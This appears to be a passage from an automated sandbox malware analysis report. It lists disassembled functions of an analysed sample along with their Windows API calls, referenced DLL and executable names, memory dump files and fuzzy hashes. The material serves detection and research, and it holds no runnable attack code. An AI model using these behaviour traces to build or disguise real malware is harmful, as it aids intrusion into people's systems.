0x0085ea67
0x0085ea6d
0x0085ea75
0x0085ea78
0x0085ea87
0x0085ea8c
0x0085ea92
0x0085ea9a
0x0085ea9d
0x0085eaae
0x0085eabf
0x0085eac4
0x0085eaca
0x0085ead2
0x0085ead5
0x0085eae6
0x0085eaf7
0x0085eafc
0x0085eb02
0x0085eb0a
0x0085eb0d
0x0085eb1e
0x0085eb2f
0x0085eb34
0x0085eb3a
0x0085eb42
0x0085eb45
0x0085eb56
0x0085eb67
0x0085eb6c
0x0085eb72
0x0085eb7a
0x0085eb7d
0x0085eb8e
0x0085eb9f
0x0085eba4
0x0085ebaa
0x0085ebb2
0x0085ebb5
0x0085ebc6
0x0085ebd7
0x0085ebdc
0x0085ebe2
0x0085ebea
0x0085ebed
0x0085ebfe
0x0085ec0f
0x0085ec21
0x0085ec32
0x0085ec37
0x0085ec3d
0x0085ec45
0x0085ec48
0x0085ec59
0x0085ec6a
0x0085ec6f
0x0085ec75
0x0085ec7d
0x0085ec80
0x0085ec91
0x0085eca2
0x0085eca7
0x0085ecad
0x0085ecb5
0x0085ecb8
0x0085ecc9
0x0085ecd7
0x0085ece2
0x0085ecef
0x0085ecfc
0x0085ecfc
0x0085ea43
0x0085ed70
0x0085ed80
0x0085ed8a
0x0085ed8a
0x0085ed80
0x00000000

Strings

NetLocalGroupGetInfo, xrefs: 0085ECF7
NlsLexicons001a.dll, xrefs: 008600AD
, xrefs: 0085F946
, xrefs: 008624D2
api-ms-win-crt-process-l1-1-0.dll, xrefs: 0085ED06
, xrefs: 00860484
, xrefs: 0086288B
, xrefs: 00861E50
, xrefs: 00861B9C
, xrefs: 008626A4
, xrefs: 0086237C
, xrefs: 008604B2
, xrefs: 00862AA4
, xrefs: 00862A44
, xrefs: 008618DF
, xrefs: 00862644
, xrefs: 00861E30
, xrefs: 0086190D
, xrefs: 008614B0
, xrefs: 008602E5
, xrefs: 008614C7
, xrefs: 008600CA
, xrefs: 008600E1
, xrefs: 00862169
, xrefs: 008602CE
, xrefs: 0085FDAA
, xrefs: 00862129
, xrefs: 0086239C
, xrefs: 00862BD2
wow32.dll, xrefs: 0085F274
EP0NS411.DLL, xrefs: 0085F5D8
, xrefs: 008618F6
, xrefs: 008600F8
, xrefs: 00862A84
, xrefs: 008623BC
, xrefs: 00862A64
, xrefs: 0086049B
, xrefs: 00861BCA
, xrefs: 008624B2
wmpshell.dll, xrefs: 0085ECEA
, xrefs: 00862604
, xrefs: 0085F95D
FXSCOM.dll, xrefs: 0085ED85
, xrefs: 00861DF3
, xrefs: 00862C12
, xrefs: 008610D9
, xrefs: 00862684
, xrefs: 00862149
, xrefs: 0085FDC1
, xrefs: 00862BB2
, xrefs: 008610F0
, xrefs: 00862A24
, xrefs: 008610C2
mscat32.dll, xrefs: 0085EDB5
, xrefs: 00861499
secur32.dll, xrefs: 00860749
, xrefs: 00861482
systemcpl.dll, xrefs: 00860DA9
, xrefs: 00862AC4
, xrefs: 00861DDC
,`_L, xrefs: 00861B84, 0086ECCF, 0086EDAD
, xrefs: 00862C7E
, xrefs: 00861E10
, xrefs: 00862664
f3ahvoas.dll, xrefs: 0086104E
, xrefs: 0085FDD8
NetSessionDel, xrefs: 0085F92F
, xrefs: 00861BB3
IMEPADSM.DLL, xrefs: 0086EEA2
, xrefs: 00862492
, xrefs: 00862BF2
, xrefs: 00862C25
, xrefs: 00862624

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID:
String ID: $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $,`_L$EP0NS411.DLL$FXSCOM.dll$IMEPADSM.DLL$NetLocalGroupGetInfo$NetSessionDel$NlsLexicons001a.dll$api-ms-win-crt-process-l1-1-0.dll$f3ahvoas.dll$mscat32.dll$secur32.dll$systemcpl.dll$wmpshell.dll$wow32.dll
API String ID: 0-1827554731
Opcode ID: eb116362f46ec99cb0b42e9def089c68c2e2ee596d9b925e802fe5509ede81fc
Instruction ID: 0f1591226680140fbd15c03a1ba7c1fbb519c8ba427debd44d09a04df11d47ff
Opcode Fuzzy Hash: eb116362f46ec99cb0b42e9def089c68c2e2ee596d9b925e802fe5509ede81fc
Instruction Fuzzy Hash: D7A38D3490929A8FDB11DF64D890BDCBBB2FF4A308F0050E6D488A7762D7356A99CF15

Uniqueness

Uniqueness Score: -1.00%

Function 006BA8DC Relevance: 69.0, Strings: 52, Instructions: 3995COMMON

Download Yara Rule

Strings

msctfui.dll, xrefs: 006BB487
RtlQueryHeapInformation, xrefs: 006BBFB3
XamlViewer_v0300.exe, xrefs: 006BCFAC
api-ms-win-core-processthreads-l1-1-1.dll, xrefs: 006BAB5B
wudriver.dll, xrefs: 006BC064
, xrefs: 006BC982
, xrefs: 006BB1D9
, xrefs: 006BABCE
srcore.dll, xrefs: 006BC01E
Microsoft.Build.Framework.dll, xrefs: 006BDCC4
, xrefs: 006BB218
WmiQueryAllDataA, xrefs: 006BAB75
Microsoft.Office.BusinessApplications.Runtime.intl.resources.dll, xrefs: 006BB5FE
acwow64.dll, xrefs: 006BCF38
NlsData0022.dll, xrefs: 006BBCA1
, xrefs: 006BB203
, xrefs: 006BB22D
, xrefs: 006BDD12
api-ms-win-core-debug-l1-1-0.dll, xrefs: 006BA9DA
, xrefs: 006BB1C4
, xrefs: 006BB257
GlobalReAlloc, xrefs: 006BBC78
PlaMig.dll, xrefs: 006BAAD4
, xrefs: 006BB1EE
wertyuiopasdfghjklzxcvbnm, xrefs: 006BC275, 006BD1E1, 006BDD55
GetACP, xrefs: 006BBF6A
, xrefs: 006BDD30
J, xrefs: 006BB68C
=, xrefs: 006BABAC
VarUI2FromCy, xrefs: 006BAEC2
, xrefs: 006BB281
, xrefs: 006BDD4E
comadmin.dll, xrefs: 006BB81E
RtlCreateServiceSid, xrefs: 006BEA10
System.Xml.dll, xrefs: 006BBD95
evntcmd.exe, xrefs: 006BE48D
colorcpl.exe, xrefs: 006BCC42
KBDKAZ.DLL, xrefs: 006BCDD0
NetGetDisplayInformationIndex, xrefs: 006BDB3F
helpcins.dll, xrefs: 006BC00F
PerfCounter.dll, xrefs: 006BCF50
wmiutils.dll, xrefs: 006BE9AD
V, xrefs: 006BBB1E
api-ms-win-core-string-l1-1-0.dll, xrefs: 006BB5D2
, xrefs: 006BC964
, xrefs: 006BDD6C
R, xrefs: 006BD6D4
, xrefs: 006BB26C
, xrefs: 006BABE3
, xrefs: 006BB242
NlsData001a.dll, xrefs: 006BD013
WMPEncEn.dll, xrefs: 006BD7FD

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID:
String ID: $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $=$GetACP$GlobalReAlloc$J$KBDKAZ.DLL$Microsoft.Build.Framework.dll$Microsoft.Office.BusinessApplications.Runtime.intl.resources.dll$NetGetDisplayInformationIndex$NlsData001a.dll$NlsData0022.dll$PerfCounter.dll$PlaMig.dll$R$RtlCreateServiceSid$RtlQueryHeapInformation$System.Xml.dll$V$VarUI2FromCy$WMPEncEn.dll$WmiQueryAllDataA$XamlViewer_v0300.exe$acwow64.dll$api-ms-win-core-debug-l1-1-0.dll$api-ms-win-core-processthreads-l1-1-1.dll$api-ms-win-core-string-l1-1-0.dll$colorcpl.exe$comadmin.dll$evntcmd.exe$helpcins.dll$msctfui.dll$srcore.dll$wertyuiopasdfghjklzxcvbnm$wmiutils.dll$wudriver.dll
API String ID: 0-1618126529
Opcode ID: 10c136151ee4f2069b0dafc05781bd4c9fbc7b5384318e964855b9067dde7ae7
Instruction ID: e1bfc7529476952224456319fd71e6d4f0e63e04ef81fae256565360bd5caaf2
Opcode Fuzzy Hash: 10c136151ee4f2069b0dafc05781bd4c9fbc7b5384318e964855b9067dde7ae7
Instruction Fuzzy Hash: 44930274A0425D8FDB10DFA4DC81BDDBBF5FB09308F1090AAD408A7662E734AA89DF55

Uniqueness

Uniqueness Score: -1.00%

Function 0087C50C Relevance: 53.6, APIs: 6, Strings: 24, Instructions: 1075COMMON

Download Yara Rule

APIs

InitializeSecurityDescriptor.ADVAPI32(?,00000001,00000000,0087DC05,?,00000000,00000000,?,0089A05A,FDE44ACE,?,?,0089B6AC,?,00000074,008B08D8), ref: 0087C539
InitializeAcl.ADVAPI32(00000000,00000400,00000002,?,00000000,00000000,?,0089A05A,FDE44ACE,?,?,0089B6AC,?,00000074,008B08D8,0089B6AC), ref: 0087C637
CreateWellKnownSid.ADVAPI32(00000001,00000000,00000000,00000074,?,0000000E,?,00000000,00000000,?,0089A05A,FDE44ACE,?,?,0089B6AC,?), ref: 0087C755
CreateWellKnownSid.ADVAPI32(00000001,00000000,?,00000074,00000006,008A9B84,00000006,008A9B7C,00000006,008A9A38,00000006,00000006,008A9B6C,00000006,00000006,008A9AF0), ref: 0087C90F
AddAccessAllowedAce.ADVAPI32(00000000,00000002,10000000,?,?,00000000,00000000,?,0089A05A,FDE44ACE,?,?,0089B6AC,?,00000074,008B08D8), ref: 0087C92C
SetSecurityDescriptorDacl.ADVAPI32(?,000000FF,00000000,00000000,?,0000000E,?,00000000,00000000,?,0089A05A,FDE44ACE,?,?,0089B6AC,?), ref: 0087C9A8

Strings

dwmapi.dll, xrefs: 0087C851
logoncli.dll, xrefs: 0087C7A4
NlsLexicons0027.dll, xrefs: 0087C669
CallNextHookEx, xrefs: 0087D747
, xrefs: 0087CCB3
MessageBoxA, xrefs: 0087DA18
KBDSMSNO.DLL, xrefs: 0087C6AC
NtThawRegistry, xrefs: 0087C5AD
aepic.dll, xrefs: 0087DA64
TpCallbackUnloadDllOnCompletion, xrefs: 0087CAD2
,`_L, xrefs: 0087CB4B, 0087CB55
TSpkg.dll, xrefs: 0087C676
`, xrefs: 0087C8E4
netstandard.dll, xrefs: 0087C587
BdeHdCfg.exe, xrefs: 0087CB09
GetEnabledXStateFeatures, xrefs: 0087C7F9
, xrefs: 0087CC9C
, xrefs: 0087CCCA
rdpcorets.dll, xrefs: 0087C615
, xrefs: 0087CC85
api-ms-win-core-libraryloader-l1-1-0.dll, xrefs: 0087CB39
, xrefs: 0087CBBC
EnumerateTraceGuidsEx, xrefs: 0087D6F8
, xrefs: 0087CBD3

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: CreateDescriptorInitializeKnownSecurityWell$AccessAllowedDacl
String ID: $ $ $ $ $ $,`_L$BdeHdCfg.exe$CallNextHookEx$EnumerateTraceGuidsEx$GetEnabledXStateFeatures$KBDSMSNO.DLL$MessageBoxA$NlsLexicons0027.dll$NtThawRegistry$TSpkg.dll$TpCallbackUnloadDllOnCompletion$`$aepic.dll$api-ms-win-core-libraryloader-l1-1-0.dll$dwmapi.dll$logoncli.dll$netstandard.dll$rdpcorets.dll
API String ID: 2450134216-3026993553
Opcode ID: 511310ba4730daa6851b64ac9285cd0dba335a4c9a7894692d693002ef960081
Instruction ID: 3992e1403e9b5c8776297243210fc0ecee483a309be43561978049566767cd83
Opcode Fuzzy Hash: 511310ba4730daa6851b64ac9285cd0dba335a4c9a7894692d693002ef960081
Instruction Fuzzy Hash: 6BB23534A1521DCFDB00EFA4D881BDDB7B6FF49304F108066E844B7695D738AA4ACB66

Uniqueness

Uniqueness Score: -1.00%

Function 0088C79C Relevance: 43.8, Strings: 33, Instructions: 2529COMMON

Download Yara Rule

Strings

, xrefs: 0088EAA3
dsprov.dll, xrefs: 0088DB3E
, xrefs: 0088D57B
VariantCopyInd, xrefs: 0088F14B
ttt, xrefs: 0088E999, 0088EA0C, 0088E9A2
, xrefs: 0088EE3B
, xrefs: 0088F830
PCLXL.DLL, xrefs: 0088F9E9
, xrefs: 0088E9D0
, xrefs: 0088D274
, xrefs: 0088F847
, xrefs: 0088E9B9
, xrefs: 0088D592
dwmapi.dll, xrefs: 0088EB85
KBDUZB.DLL, xrefs: 0088E713
mmcshext.dll, xrefs: 0088D54E
RegGetValueW, xrefs: 0088E727
^, xrefs: 0088EAC7
System.Web.DynamicData.Design.dll, xrefs: 0088CAD0
, xrefs: 0088EE24
, xrefs: 0088F85E
, xrefs: 0088EE69
, xrefs: 0088D28B
, xrefs: 0088D246
raserver.exe, xrefs: 0088F9DC
wow64.dll, xrefs: 0088F813
, xrefs: 0088D25D
, xrefs: 0088D5A9
, xrefs: 0088EABA
, xrefs: 0088DEEB
, xrefs: 0088EA8C
wuapi.dll, xrefs: 0088CF92
, xrefs: 0088EE52

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID:
String ID: $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ ^$KBDUZB.DLL$PCLXL.DLL$RegGetValueW$System.Web.DynamicData.Design.dll$VariantCopyInd$dsprov.dll$dwmapi.dll$mmcshext.dll$raserver.exe$ttt$wow64.dll$wuapi.dll
API String ID: 0-318621285
Opcode ID: 771b376b7f97c8601e1a52d5fcbe12d0c22f26bd464a0fa7d94e8ee5eb1d9979
Instruction ID: 507a208060b2461cba0364fdbe80c7954836aa0660f1ce3053646711b380dff6
Opcode Fuzzy Hash: 771b376b7f97c8601e1a52d5fcbe12d0c22f26bd464a0fa7d94e8ee5eb1d9979
Instruction Fuzzy Hash: 2E537E3490829E8FDB11DF64D890BDDBBB5BF0A308F1040E6D448B77A2D634AA99CF55

Uniqueness

Uniqueness Score: -1.00%

Function 008770C4 Relevance: 24.6, Strings: 19, Instructions: 835COMMON

Download Yara Rule

Strings

msra.exe, xrefs: 008774A4
CasPol.exe, xrefs: 00877376
/, xrefs: 008773D1
Microsoft.MediaCenter.iTV.dll, xrefs: 00877626
secur32.dll, xrefs: 00877963
, xrefs: 00877A0C
cmi2migxml.dll, xrefs: 008776D1
GetClassInfoExW, xrefs: 008778DB
ZwReadOnlyEnlistment, xrefs: 00877701
Microsoft.Build.Conversion.v3.5.dll, xrefs: 0087772F
, xrefs: 008779F5
IMJPCLST.DLL, xrefs: 008774E0
evntagnt.dll, xrefs: 008778B7
, xrefs: 008779DE
PostMig.exe, xrefs: 008775D4
wpcmig.dll, xrefs: 00877402
, xrefs: 008779C7
usercpl.dll, xrefs: 0087741A
shwebsvc.dll, xrefs: 00877633

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID:
String ID: $ $ $ $/$CasPol.exe$GetClassInfoExW$IMJPCLST.DLL$Microsoft.Build.Conversion.v3.5.dll$Microsoft.MediaCenter.iTV.dll$PostMig.exe$ZwReadOnlyEnlistment$cmi2migxml.dll$evntagnt.dll$msra.exe$secur32.dll$shwebsvc.dll$usercpl.dll$wpcmig.dll
API String ID: 0-598829326
Opcode ID: 5d5b376437f2a9b3a42bc52104574d10f0b344bae16a8f077b124a3af5015a8e
Instruction ID: 7c2c6b43ff34d7cd941693466faf59132d87e8d94f3068a3a5c03bd831f8545c
Opcode Fuzzy Hash: 5d5b376437f2a9b3a42bc52104574d10f0b344bae16a8f077b124a3af5015a8e
Instruction Fuzzy Hash: 7182E63491424E8FDB00DFA5C982BEEBBB5FF49304F108066E504B7295D734AE5ACB66

Uniqueness

Uniqueness Score: -1.00%

Function 0040CE84 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 140stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,0040D1BB,00000000,0040D27C,?,80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000,0040D299), ref: 0040CEA1
GetProcAddress.KERNEL32(00000000,GetLongPathNameW), ref: 0040CEB2
FindFirstFileW.KERNEL32(?,?,kernel32.dll,?,?,?,?,0040D1BB,00000000,0040D27C,?,80000001,Software\Embarcadero\Locales,00000000,000F0019,?), ref: 0040CFB2
FindClose.KERNEL32(?,?,?,kernel32.dll,?,?,?,?,0040D1BB,00000000,0040D27C,?,80000001,Software\Embarcadero\Locales,00000000,000F0019), ref: 0040CFC4
lstrlenW.KERNEL32(?,?,?,?,kernel32.dll,?,?,?,?,0040D1BB,00000000,0040D27C,?,80000001,Software\Embarcadero\Locales,00000000), ref: 0040CFD0
lstrlenW.KERNEL32(?,?,?,?,?,kernel32.dll,?,?,?,?,0040D1BB,00000000,0040D27C,?,80000001,Software\Embarcadero\Locales), ref: 0040D015

Strings

\, xrefs: 0040CFE2
GetLongPathNameW, xrefs: 0040CEAC
kernel32.dll, xrefs: 0040CE9C

Memory Dump Source

Source File: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameW$\$kernel32.dll
API String ID: 1930782624-3908791685
Opcode ID: 513bc97edc3a285b3f4b4213d583ed833790a0ac4b592b607f87561b17950973
Instruction ID: 72a2b02610064fb6e64a347f8dccdb3cbd3b5c5928c9e3bd0ad0754b881fd8bf
Opcode Fuzzy Hash: 513bc97edc3a285b3f4b4213d583ed833790a0ac4b592b607f87561b17950973
Instruction Fuzzy Hash: E041A031E00619DBCB10EBA4CC85ADEB3B9EF44314F5486BA9544F72C1E77C9E468B89

Uniqueness

Uniqueness Score: -1.00%

Function 008799FF Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 476COMMON

Download Yara Rule

Strings

, xrefs: 00879E33
, xrefs: 00879C23
, xrefs: 00879C3A
, xrefs: 00879BF5
, xrefs: 00879C0C
dpnlobby.dll, xrefs: 00879E97

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID:
String ID: $ $ $ $ $dpnlobby.dll
API String ID: 0-584038093
Opcode ID: 4fcf8aecb6c4dd7e887d350c18a81c36cb5dfc523fbe96cafe5bbf09f2af229b
Instruction ID: bae1e69e6083ae284282e570cb1da161308b38c74c86f68681f2930064ed2e58
Opcode Fuzzy Hash: 4fcf8aecb6c4dd7e887d350c18a81c36cb5dfc523fbe96cafe5bbf09f2af229b
Instruction Fuzzy Hash: 2A324C34909269CFEB00DFA8E981ADDBBF5FB4A314F104066E485E7B61D734A942CF15

Uniqueness

Uniqueness Score: -1.00%

Function 00889622 Relevance: 11.9, Strings: 9, Instructions: 698COMMON

Download Yara Rule

Strings

WcsPlugInService.dll, xrefs: 00889AFC
, xrefs: 00889BC7
, xrefs: 00889BE4
WMPEncEn.dll, xrefs: 00889AE4
, xrefs: 00889D77
, xrefs: 00889BB0
imkrhjd.dll, xrefs: 00889ACC
msjter40.dll, xrefs: 0088994A
NlsLexicons0007.dll, xrefs: 00889AAC

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID:
String ID: $ $ $ $NlsLexicons0007.dll$WMPEncEn.dll$WcsPlugInService.dll$imkrhjd.dll$msjter40.dll
API String ID: 0-2932531965
Opcode ID: f4a6143c48d78da2b6443c7aad68d7d5eac5de959938cf87e16649466a65ddb2
Instruction ID: bf32a8490e79fe6a535159b72d7fe53985cf89a186e1cfd71ff2ee7a7cb9dae1
Opcode Fuzzy Hash: f4a6143c48d78da2b6443c7aad68d7d5eac5de959938cf87e16649466a65ddb2
Instruction Fuzzy Hash: 307227349042598FDB11EF60C885BCDB7BABF4A308F5080E6D448B7252DB75AE89CF56

Uniqueness

Uniqueness Score: -1.00%

Function 0087A511 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 482encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(00000000,00000000,?,0087AD6C,?,?,?,00000000,0087B0A4,?,?,?,?,00000000,00000000), ref: 0087AC4A

Strings

MSTTSuser.dll, xrefs: 0087AC7D
OleInitializeWOW, xrefs: 0087AC24
wcsstr, xrefs: 0087ACE7
,`_L, xrefs: 0087A550

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: ContextCryptRelease
String ID: ,`_L$MSTTSuser.dll$OleInitializeWOW$wcsstr
API String ID: 829835001-987192969
Opcode ID: 9fc5af2e2b3fbf965cf0547e1570d710481e5c76869b64eaa0073ad2b132d942
Instruction ID: 60919dea1fde7c7290e1bc7affbee0b9452ec838a8e796b5fdac6bda563263ff
Opcode Fuzzy Hash: 9fc5af2e2b3fbf965cf0547e1570d710481e5c76869b64eaa0073ad2b132d942
Instruction Fuzzy Hash: 9932283480529DCFDB10DF60D881ACDB7BABF49304F5081E6D848B7256D775AA89CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 0040CA28 Relevance: 4.6, APIs: 3, Instructions: 99COMMON

Download Yara Rule

APIs

IsValidLocale.KERNEL32(?,00000002,00000000,0040CB8D,?,?,?,00000000), ref: 0040CAD2
GetLocaleInfoW.KERNEL32(00000000,00000059,?,00000055,?,00000002,00000000,0040CB8D,?,?,?,00000000), ref: 0040CAEE
GetLocaleInfoW.KERNEL32(00000000,0000005A,?,00000055,00000000,00000059,?,00000055,?,00000002,00000000,0040CB8D,?,?,?,00000000), ref: 0040CAFF

Memory Dump Source

Source File: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: Locale$Info$Valid
String ID:
API String ID: 1826331170-0
Opcode ID: dc98ea9a91aae6d5a0775f99af886e6dd3c62cdf4629cf988b7c1198aebb0fe8
Instruction ID: 23c11aa9885e3c916dff53f67515c36f66bc6504bb74cbc91727a7fed7d712bd
Opcode Fuzzy Hash: dc98ea9a91aae6d5a0775f99af886e6dd3c62cdf4629cf988b7c1198aebb0fe8
Instruction Fuzzy Hash: 2831AD70A00A1CEBEB20DB60DCC2B9B77B5FB44701F5006BAA509B32D1D6396E80CE19

Uniqueness

Uniqueness Score: -1.00%

Function 00884967 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 125encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(00000000,00000000,00884B38,008852E2,?,?,?,?,00000000,00000000,?,00888875,00000000,0088A2A0), ref: 00884A6C

Strings

api-ms-win-core-util-l1-1-0.dll, xrefs: 00884A42

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: ContextCryptRelease
String ID: api-ms-win-core-util-l1-1-0.dll
API String ID: 829835001-3708114764
Opcode ID: e72bdd19fac70373ab68961f9b74b878a17058238effaa2eae420ea01d9a4522
Instruction ID: a325787f50939f531d6cfea34497d2f82449af8cb1540bcdc645a1f0ab4add37
Opcode Fuzzy Hash: e72bdd19fac70373ab68961f9b74b878a17058238effaa2eae420ea01d9a4522
Instruction Fuzzy Hash: 5751E076A15229CFDB04EFA8E981ACDB7F4FB09318F11502AE001FB661D735A945CF25

Uniqueness

Uniqueness Score: -1.00%

Function 004235B0 Relevance: 3.0, APIs: 2, Instructions: 23fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,?,00423677,00000000,?,?,?,00899A4F,FDE44ACE,?,?,0089B6AC,?,00000074), ref: 004235CB
FindClose.KERNEL32(00000000,00000000,?,00000000,?,00423677,00000000,?,?,?,00899A4F,FDE44ACE,?,?,0089B6AC,?), ref: 004235D6

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: dc64fdd914615b049f7e817cb6537e09cab8c4ae1589e8d2fe4e5d1ed68ca6f5
Instruction ID: 01a03d814939720a58ed36e95a7979cf1404916787e28f7e552fe1288b409e44
Opcode Fuzzy Hash: dc64fdd914615b049f7e817cb6537e09cab8c4ae1589e8d2fe4e5d1ed68ca6f5
Instruction Fuzzy Hash: 77E0CD7161430C12C71065F91C8A7AB72DC5B44329F440BA7795CD21D2E63D8B90015D

Uniqueness

Uniqueness Score: -1.00%

Function 00883F6C Relevance: 2.0, APIs: 1, Instructions: 544encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 00883F70

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
